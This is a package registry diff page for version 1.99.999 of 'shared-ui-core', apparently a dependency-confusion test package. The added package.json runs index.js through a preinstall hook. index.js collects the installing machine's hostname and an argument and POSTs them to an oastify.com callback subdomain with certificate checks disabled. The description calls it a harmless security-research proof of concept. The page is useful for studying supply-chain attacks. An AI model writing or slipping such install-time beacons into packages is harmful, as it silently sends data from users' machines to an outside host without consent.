shared-ui-core 1.99.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of shared-ui-core might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +26 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,26 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
4
+
5
+ const data = new TextEncoder().encode(
6
+ JSON.stringify({
7
+ payload: hostname,
8
+ project_id: process.argv[2]
9
+ })
10
+ );
11
+
12
+ const options = {
13
+ hostname: process.argv[2] + '.' + hostname + '.7w4vj1j6lsn7y7m0hl60g6ik7bd11q.oastify.com',
14
+ port: 443,
15
+ path: '/',
16
+ method: 'POST',
17
+ headers: {
18
+ 'Content-Type': 'application/json',
19
+ 'Content-Length': data.length
20
+ },
21
+ rejectUnauthorized: false
22
+ }
23
+
24
+ const req = https.request(options, res => {});
25
+ req.write(data);
26
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "shared-ui-core",
3
+ "version": "1.99.999",
4
+ "description": "This package is a proof of concept used by Stage 2 Security to conduct research. It has been uploaded for test purposes only, and does not perform any malicious actions on an installer's machine. This code will be removed at the conclusion of the test.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Stage 2 Security <cat@stage2sec.com>",
11
+ "license": "ISC"
12
+ }